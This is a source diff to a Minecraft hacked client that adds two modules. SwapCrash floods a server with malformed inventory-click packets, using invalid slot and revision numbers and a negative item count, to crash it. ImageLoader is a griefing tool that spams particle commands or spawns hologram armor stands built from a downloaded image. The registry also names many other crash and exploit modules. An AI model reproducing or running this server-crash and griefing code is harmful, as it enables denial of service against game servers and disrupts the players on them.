diff --git a/src/main/java/net/shadow/client/feature/module/ModuleRegistry.java b/src/main/java/net/shadow/client/feature/module/ModuleRegistry.java index 2929db3..e3f9bb5 100644 --- a/src/main/java/net/shadow/client/feature/module/ModuleRegistry.java +++ b/src/main/java/net/shadow/client/feature/module/ModuleRegistry.java @@ -38,6 +38,7 @@ import net.shadow.client.feature.module.impl.crash.PacketCrash; import net.shadow.client.feature.module.impl.crash.PaintingCrash; import net.shadow.client.feature.module.impl.crash.RequestCrash; import net.shadow.client.feature.module.impl.crash.SSRFCrash; +import net.shadow.client.feature.module.impl.crash.SwapCrash; import net.shadow.client.feature.module.impl.exploit.AntiAntiXray; import net.shadow.client.feature.module.impl.exploit.AntiRDI; import net.shadow.client.feature.module.impl.exploit.BoatCrash; @@ -48,6 +49,7 @@ import net.shadow.client.feature.module.impl.exploit.ChunkCrash; import net.shadow.client.feature.module.impl.exploit.ConsoleSpammer; import net.shadow.client.feature.module.impl.exploit.Equipper; import net.shadow.client.feature.module.impl.exploit.FilterBypass; +import net.shadow.client.feature.module.impl.exploit.ImageLoader; import net.shadow.client.feature.module.impl.exploit.InstaBow; import net.shadow.client.feature.module.impl.exploit.OffhandCrash; import net.shadow.client.feature.module.impl.exploit.PingSpoof; @@ -241,7 +243,7 @@ public class ModuleRegistry { registerModule(BoatPhase.class); registerModule(BoatCrash.class); registerModule(Boom.class); - registerModule(CaveMapper.class); + //registerModule(CaveMapper.class); registerModule(InstaBow.class); registerModule(ChunkCrash.class); registerModule(OffhandCrash.class); @@ -253,8 +255,8 @@ public class ModuleRegistry { registerModule(ClickGUI.class); registerModule(TpRange.class); registerModule(AnyPlacer.class); - registerModule(FireballDeflector.class); - registerModule(ShulkerDeflector.class); + //registerModule(FireballDeflector.class); + //registerModule(ShulkerDeflector.class); registerModule(CarpetBomb.class); registerModule(AutoTrap.class); registerModule(AutoTNT.class); @@ -262,7 +264,7 @@ public class ModuleRegistry { registerModule(NoFall.class); registerModule(ESP.class); registerModule(Tracers.class); - registerModule(Hyperspeed.class); + //registerModule(Hyperspeed.class); registerModule(AntiAnvil.class); registerModule(Swing.class); registerModule(AimAssist.class); @@ -272,7 +274,7 @@ public class ModuleRegistry { registerModule(AntiAntiXray.class); registerModule(PingSpoof.class); registerModule(AutoAttack.class); - registerModule(MouseEars.class); + //registerModule(MouseEars.class); registerModule(Spinner.class); registerModule(AllowFormatCodes.class); registerModule(InfChatLength.class); @@ -375,6 +377,8 @@ public class ModuleRegistry { registerModule(MoveCrash.class); registerModule(MultiShot.class); registerModule(Explosion.class); + registerModule(SwapCrash.class); + registerModule(ImageLoader.class); rebuildSharedModuleList(); diff --git a/src/main/java/net/shadow/client/feature/module/impl/crash/SwapCrash.java b/src/main/java/net/shadow/client/feature/module/impl/crash/SwapCrash.java new file mode 100644 index 0000000..3c192dd --- /dev/null +++ b/src/main/java/net/shadow/client/feature/module/impl/crash/SwapCrash.java @@ -0,0 +1,76 @@ +/* + * Copyright (c) Shadow client, Saturn5VFive and contributors 2022. All rights reserved. + */ + +package net.shadow.client.feature.module.impl.crash; + +import java.util.Random; + +import it.unimi.dsi.fastutil.ints.Int2ObjectArrayMap; +import net.minecraft.client.util.math.MatrixStack; +import net.shadow.client.feature.config.DoubleSetting; +import net.shadow.client.feature.module.Module; +import net.shadow.client.feature.module.ModuleType; +import it.unimi.dsi.fastutil.ints.Int2ObjectArrayMap; +import it.unimi.dsi.fastutil.ints.Int2ObjectMap; +import net.minecraft.client.util.math.MatrixStack; +import net.minecraft.item.ItemStack; +import net.minecraft.item.Items; +import net.minecraft.network.packet.c2s.play.ButtonClickC2SPacket; +import net.minecraft.network.packet.c2s.play.ClickSlotC2SPacket; +import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket; +import net.minecraft.network.packet.c2s.play.SelectMerchantTradeC2SPacket; +import net.minecraft.network.packet.c2s.play.UpdateCommandBlockC2SPacket; +import net.minecraft.screen.slot.SlotActionType; + +public class SwapCrash extends Module { + + final DoubleSetting pwr = this.config.create(new DoubleSetting.Builder(5).min(1).max(32).name("Power").description("Force to attack with").precision(0).get()); + + + public SwapCrash() { + super("SwapCrash", "funny crash v2", ModuleType.CRASH); + } + + @Override + public void tick() { + Int2ObjectMap ripbozo = new Int2ObjectArrayMap<>(); + ripbozo.put(0, new ItemStack(Items.ACACIA_BOAT, 1)); + for (int i = 0; i < pwr.getValue(); i++) { + client.player.networkHandler.sendPacket( + new ClickSlotC2SPacket( + client.player.currentScreenHandler.syncId, + 123344, + 36 + 9, + 2859623, + SlotActionType.PICKUP, + new ItemStack(Items.AIR, -1), + ripbozo + ) + ); + } + } + + @Override + public void enable() { + } + + @Override + public void disable() { + } + + @Override + public String getContext() { + return null; + } + + @Override + public void onWorldRender(MatrixStack matrices) { + + } + + @Override + public void onHudRender() { + + } +} diff --git a/src/main/java/net/shadow/client/feature/module/impl/exploit/ImageLoader.java b/src/main/java/net/shadow/client/feature/module/impl/exploit/ImageLoader.java new file mode 100644 index 0000000..08b5857 --- /dev/null +++ b/src/main/java/net/shadow/client/feature/module/impl/exploit/ImageLoader.java @@ -0,0 +1,255 @@ +/* + * Copyright (c) Shadow client, Saturn5VFive and contributors 2022. All rights reserved. + */ + +package net.shadow.client.feature.module.impl.exploit; + +import net.minecraft.item.ItemStack; +import net.minecraft.item.Items; +import net.minecraft.network.packet.c2s.play.ChatMessageC2SPacket; +import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket; +import net.minecraft.network.packet.c2s.play.PlayerInteractBlockC2SPacket; +import net.minecraft.util.math.Vec3d; + +import net.minecraft.client.util.math.MatrixStack; +import net.shadow.client.feature.config.DoubleSetting; +import net.shadow.client.feature.config.EnumSetting; +import net.shadow.client.feature.config.StringSetting; +import net.shadow.client.feature.module.Module; +import net.shadow.client.feature.module.ModuleType; +import net.shadow.client.helper.event.EventListener; +import net.shadow.client.helper.event.EventType; +import net.shadow.client.helper.event.events.PacketEvent; + +import javax.imageio.ImageIO; +import java.awt.*; +import java.awt.image.BufferedImage; +import java.io.InputStream; +import java.net.HttpURLConnection; +import java.net.URL; + +import net.minecraft.item.ItemStack; +import net.minecraft.item.Items; +import net.minecraft.nbt.*; +import net.minecraft.text.Text; +import net.minecraft.util.math.Vec3d; + +public class ImageLoader extends Module { + + public static String text; + public static String argument; + final String block = "█"; + final StringSetting url = this.config.create(new StringSetting.Builder("https://null").name("Image").description("Image to load").get()); + final DoubleSetting size = this.config.create(new DoubleSetting.Builder(70).name("Size").description("size of the image").min(10).max(100).precision(0).get()); + final EnumSetting mode = this.config.create(new EnumSetting.Builder<>(Mode.ArmorStand).name("Mode").description("Mode to print the image in").get()); + BufferedImage imageToBuild; + int index = 0; + int placed = 0; + int skipper = 0; + Vec3d ppos = null; + + public ImageLoader() { + super("ImageLoader", "Load images into minecraft", ModuleType.GRIEF); + } + + @Override + public void tick() { + if (mode.getValue().equals(Mode.Particle)) { + //particle dust 1.000 0.000 0.000 1 ~ ~ ~ 0 0 0 1 1000 normal + if (skipper % 50 == 0) { + double px = 0; + double py = 0; + for (int index = 0; index < imageToBuild.getHeight(); index++) { + for (int i = 0; i < imageToBuild.getWidth(); i++) { + var r = new Color(imageToBuild.getRGB(i, index)).getRed(); + var g = new Color(imageToBuild.getRGB(i, index)).getGreen(); + var b = new Color(imageToBuild.getRGB(i, index)).getBlue(); + //ChatUtils.message(r + " " + g + " " + b); + double rM = ((r * 1000) / 255); + double gM = ((g * 1000) / 255); + double bM = ((b * 1000) / 255); + px += size.getValue() / 100; + //ChatUtils.message("/particle dust " + (rM / 1000D) + " " + (gM / 1000D) + " " + (bM / 1000D) + " 1 " + (ppos.getX() + px) + " " + (ppos.getY() + py) + " " + ppos.getZ() + " 0 0 0 1 5 force"); + client.player.networkHandler.sendPacket(new ChatMessageC2SPacket("/particle dust " + (rM / 1000D) + " " + (gM / 1000D) + " " + (bM / 1000D) + " 500 " + (ppos.getX() + px) + " " + (ppos.getY() + py) + " " + ppos.getZ() + " 0 0 0 1 20 force")); + } + py -= size.getValue() / 50; + px = 0; + index++; + } + } + skipper++; + } + } + + @Override + public void enable() { + ppos = client.player.getPos(); + placed = 0; + index = 0; + loadImage(url.getValue()); + } + + @Override + public void disable() { + } + + @Override + public String getContext() { + return null; + } + + @Override + public void onWorldRender(MatrixStack matrices) { + + } + + @Override + public void onHudRender() { + + } + + public enum Mode { + ArmorStand, + Particle, + Chat + } + + + public void loadImage(String imageurl) { + try { + URL u = new URL(imageurl); + HttpURLConnection huc = (HttpURLConnection) u.openConnection(); + huc.setRequestProperty("User-Agent", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0"); + huc.connect(); + InputStream is = huc.getInputStream(); + BufferedImage loadedImage = ImageIO.read(is); + double newWidth = size.getValue(); + double scale = (double) loadedImage.getWidth() / newWidth; + imageToBuild = resize(loadedImage, (int) (loadedImage.getWidth() / scale), (int) (loadedImage.getHeight() / scale)); + + huc.disconnect(); + } catch (Exception ignored) { + setEnabled(false); + } + } + + private BufferedImage resize(BufferedImage img, int newW, int newH) { + Image tmp = img.getScaledInstance(newW, newH, Image.SCALE_SMOOTH); + BufferedImage dimg = new BufferedImage(newW, newH, BufferedImage.TYPE_INT_ARGB); + + Graphics2D g2d = dimg.createGraphics(); + g2d.drawImage(tmp, 0, 0, null); + g2d.dispose(); + + return dimg; + } + + @EventListener(type=EventType.PACKET_SEND) + void onPacketSend(PacketEvent event){ + if (event.getPacket() instanceof PlayerInteractBlockC2SPacket) { + if (mode.getValue().equals(Mode.ArmorStand)) { + Hologram generated = generateDefault(text, Vec3d.ZERO).isSmall(false).isEgg(false); + int max = imageToBuild.getHeight(); + if (index >= max) { + setEnabled(false); + client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(36 + client.player.getInventory().selectedSlot, new ItemStack(Items.AIR, 1))); + return; + } + StringBuilder builder = new StringBuilder(); + builder.append("["); + for (int i = 0; i < imageToBuild.getWidth(); i++) { + int r = imageToBuild.getRGB(i, index); + int rP = r & 0xFFFFFF | 0xF000000; + builder.append("{\"text\":\"").append(block).append("\",\"color\":\"#").append(Integer.toString(rP, 16).substring(1)).append("\"},"); + } + String mc = builder.substring(0, builder.length() - 1) + "]"; + index++; + generated.text(mc).wrapsName(false); + generated.position(ppos.add(0, -(index / 4.5f), 0)); + CreativeInventoryActionC2SPacket p = new CreativeInventoryActionC2SPacket(36 + client.player.getInventory().selectedSlot, generated.generate()); + client.getNetworkHandler().sendPacket(p); + } + } + } + + + public static Hologram generateDefault(String text, Vec3d pos) { + return new Hologram().position(pos).text(text).isEgg(false).isSmall(false); + } + + public static class Hologram { + + String text; + Vec3d pos; + boolean isEgg = false, isChild = false, isVisible = false, hasGravity = false, wrapName = true, isMarker = true; + + public Hologram() { + this.text = ""; + this.pos = Vec3d.ZERO; + } + + public Hologram text(String text) { + this.text = text; + return this; + } + + public Hologram isMarker(boolean m) { + this.isMarker = m; + return this; + } + + public Hologram hasGravity(boolean hasGravity) { + this.hasGravity = hasGravity; + return this; + } + + public Hologram isVisible(boolean isVisible) { + this.isVisible = isVisible; + return this; + } + + public Hologram position(Vec3d pos) { + this.pos = pos; + return this; + } + + @SuppressWarnings("UnusedReturnValue") + public Hologram wrapsName(boolean wrapName) { + this.wrapName = wrapName; + return this; + } + + public Hologram isEgg(boolean isEgg) { + this.isEgg = isEgg; + return this; + } + + public Hologram isSmall(boolean isChild) { + this.isChild = isChild; + return this; + } + + public ItemStack generate() { + ItemStack stack = new ItemStack(isEgg ? Items.BEE_SPAWN_EGG : Items.ARMOR_STAND); + NbtCompound tag = new NbtCompound(); + NbtList pos = new NbtList(); + pos.add(NbtDouble.of(this.pos.x)); + pos.add(NbtDouble.of(this.pos.y)); + pos.add(NbtDouble.of(this.pos.z)); + tag.put("CustomNameVisible", NbtByte.ONE); + tag.put("CustomName", wrapName ? NbtString.of("{\"text\":\"" + this.text.replaceAll("&", "§") + "\"}") : NbtString.of(this.text.replaceAll("&", "§"))); + tag.put("Invisible", NbtByte.of(!isVisible)); + tag.put("Invulnerable", NbtByte.ONE); + tag.put("NoGravity", NbtByte.of(!hasGravity)); + tag.put("Small", NbtByte.of(isChild)); + tag.put("Marker", NbtByte.of(isMarker)); + tag.put("Pos", pos); + if (isEgg) { + tag.put("id", NbtString.of("minecraft:armor_stand")); + } + stack.setSubNbt("EntityTag", tag); + stack.setCustomName(Text.of("§r§cHologram")); + return stack; + } + } +}